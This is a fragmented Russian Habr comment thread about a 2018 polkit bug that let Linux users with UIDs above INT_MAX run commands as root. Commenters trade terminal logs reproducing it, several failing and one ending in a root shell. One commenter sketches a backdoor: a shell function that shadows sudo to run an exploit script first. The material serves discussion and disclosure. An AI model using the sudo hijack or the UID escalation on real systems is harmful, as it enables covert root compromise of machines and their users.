Хабр Курсы для всех
РЕКЛАМА
 Практикум, Хекслет, SkyPro, авторские курсы — собрали всех и попросили скидки. Осталось выбрать! 
Реше..., А не! Не та ОС.
# Using Ubuntu
curl -sL https://deb.nodesource.com/setup_11.x | sudo -E bash -
sudo apt-get install -y nodejsВопрос не в том, как делаете лично вы
в документации к любой ереси это есть.
Сама идея запускать скрипты не читая — порочна.
можно подсадить бэкдор, который потом выполнит нужно с sudo.
function sudo() {
 /usr/bin/sudo /usr/bin/exploit.sh
 /usr/bin/sudo ${@}
} 0.000000 read(9, "1", 1) = 1
 3.870015 read(9, "2", 1) = 1
 0.000140 read(9, "3", 1) = 1
 0.000147 read(9, "1", 1) = 1
 0.000349 read(9, "2", 1) = 1
 0.000266 read(9, "3", 1) = 1
 0.000173 read(9, "1", 1) = 1
 0.000149 read(9, "2", 1) = 1
 0.000107 read(9, "3", 1) = 1
 0.000098 read(9, "\n", 1) = 1
Девопсов постепенно к этому приучали.Ага, я когда впервые Node ставил на бубунте, немного удивился такому подходу — это ж даже хуже, чем под виндой скачать и запустить экзэшник, под виндой у него хотя бы ограниченные права пользователя, и как правило есть антивирус, а тут сразу из-под рута.
Тот же NodeJS и npm очень долгое время только так и можно было поставить
curl… | sudo bash все делают не глядя.
Это не баг, это фича.
Остается вопрос, как теперь «вызвать» появление на хосте-жертве пользователя с таким UID, и действительно ли этот баг несет угрозу?
root@debavk:/home/user# uname -a
Linux debavk 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64 GNU/Linux
root@debavk:/home/user# useradd -u 2147483649 testuser
root@debavk:/home/user# su - testuser
No directory, logging in with HOME=/
$ systemd-run -t /bin/bash
**
ERROR:pkttyagent.c:175:main: assertion failed: (polkit_unix_process_get_uid (POLKIT_UNIX_PROCESS (subject)) >= 0)
Failed to start transient service unit: Access denied
$ echo hello > /test.txt
-su: 2: cannot create /test.txt: Permission denied
$ 
root@debavk:/home/user# userdel testuser
root@debavk:/home/user# useradd -u 4000000000 testuser
root@debavk:/home/user# su - testuser
No directory, logging in with HOME=/
$ id  
uid=4000000000(testuser) gid=1002(testuser) groups=1002(testuser)
$ systemd-run -t /bin/bash
**
ERROR:pkttyagent.c:175:main: assertion failed: (polkit_unix_process_get_uid (POLKIT_UNIX_PROCESS (subject)) >= 0)
Failed to start transient service unit: Access denied
$ echo hello > /test.txt
-su: 3: cannot create /test.txt: Permission denied
Остается вопрос, как теперь «вызвать» появление на хосте-жертве пользователя с таким UID
упоротых инженеров Шапки,
плевали на безопасность
Очень толсто!
Указанные вами специалисты рекомендуют SELinux в enforced режиме, и это во многом решает подобные проблемы.
[root@test ~]# useradd -u 2147483649 testuser
(Tue Dec 11 15:32:29:453761 2018) [sss_cache] [confdb_get_domains] (0x0010): No domains configured, fatal error!
Could not open available domains
useradd: sss_cache exited with status 2
useradd: Failed to flush the sssd cache.
(Tue Dec 11 15:32:29:468971 2018) [sss_cache] [confdb_get_domains] (0x0010): No domains configured, fatal error!
Could not open available domains
useradd: sss_cache exited with status 2
useradd: Failed to flush the sssd cache.
[root@test ~]# grep testuser /etc/passwd
testuser:x:2147483649:1003::/home/testuser:/bin/bash
[root@test ~]# su - testuser
[testuser@test ~]$ pwd
/home/testuser
[testuser@test ~]$ systemd-run -t /bin/bash
(pkttyagent:9334): GLib-GObject-WARNING **: 15:33:21.538: value "-2147483647" of type 'gint' is invalid or out of range for property 'uid' of type 'gint'
**
ERROR:pkttyagent.c:156:main: assertion failed: (polkit_unix_process_get_uid (POLKIT_UNIX_PROCESS (subject)) >= 0)
Running as unit: run-u23561.service
Press ^] three times within 1s to disconnect TTY.
[testuser@test ~]$ id
uid=2147483649(testuser) gid=1003(testuser) groups=1003(testuser) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[testuser@test ~]$ echo hello > /test.txt
-bash: /test.txt: Permission denied
[testuser@test ~]$ rpm -q polkit
polkit-0.115-2.fc29.x86_64
[testuser@test ~]$ logout
[root@test ~]# ausearch -c '(bash)' --raw
type=AVC msg=audit(1544538801.747:9383): avc:  denied  { open } for  pid=9337 comm="(bash)" path="/dev/pts/11" dev="devpts" ino=14 scontext=system_u:system_r:init_t:s0 tcontext=unconfined_u:object_r:user_devpts_t:s0 tclass=chr_file permissive=0
$ sudo -i
# useradd -u 4000000000 testuser
# su testuser
$ id
uid=4000000000(testuser) gid=1001(testuser) groups=1001(testuser)
$ systemd-run -t /bin/bash
(process:18134): GLib-GObject-WARNING **: 18:34:39.564: value "-294967296" of type 'gint' is invalid or out of range for property 'uid' of type 'gint'
**
ERROR:pkttyagent.c:175:main: assertion failed: (polkit_unix_process_get_uid (POLKIT_UNIX_PROCESS (subject)) >= 0)
Running as unit: run-u657.service
Press ^] three times within 1s to disconnect TTY.
# id
uid=0(root) gid=0(root) groups=0(root)
# root@nowhere:~# useradd -u 4000000000 testuser
root@nowhere:~# su testuser
$ id
uid=4000000000(testuser) gid=1001(testuser) groups=1001(testuser)
$ systemd-run -t /bin/bash
Failed to start transient service unit: The name org.freedesktop.PolicyKit1 was not provided by any .service files
$ id
uid=4000000000(testuser) gid=1001(testuser) groups=1001(testuser)Секрет прост — со своих серверов я сношу polkit-1 accountsservice libaccountsservice0, нафиг нужно ещё одно sudo, только кривое и слабо проверенное.
А на десктопе через PolicyKit сделано монтирование внешних дисков, управление питанием и некоторые возможности NetworkManager, снести не получится :(
Исследователь безопасности Рич Мирч (Rich Mirch) из Twitter
Звучит будто он работает в Twitter, хотя видимо это не так.
Непривилегированные пользователи Linux с UID> INT_MAX могут выполнить любую команду